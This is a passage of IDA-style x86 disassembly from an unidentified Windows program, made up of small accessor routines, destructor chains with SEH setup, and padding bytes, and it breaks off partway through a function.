
; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
